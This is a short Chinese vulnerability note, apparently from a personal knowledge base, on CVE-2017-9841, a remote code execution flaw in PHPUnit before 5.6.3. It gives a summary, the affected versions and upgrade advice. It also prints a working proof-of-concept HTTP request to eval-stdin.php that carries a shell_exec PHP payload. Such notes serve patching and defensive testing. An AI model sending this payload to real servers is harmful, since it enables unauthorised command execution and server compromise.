PHPUnit代码执行

CVE-2017-9841

漏洞简介
	PHPUnit5.6.3之前的版本，存在一处远程代码执行漏洞，利用漏洞可以获取服务器敏感信息及权限

漏洞影响
	PHPUnit < 5.6.3
	
整改建议
	升级最新版

GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 

<?=shell_exec("whoami");?>

更新: 2023-04-14 23:05:55
原文: https://www.yuque.com/yuqueyonghuwrqimt/vtxvff/qnfw3m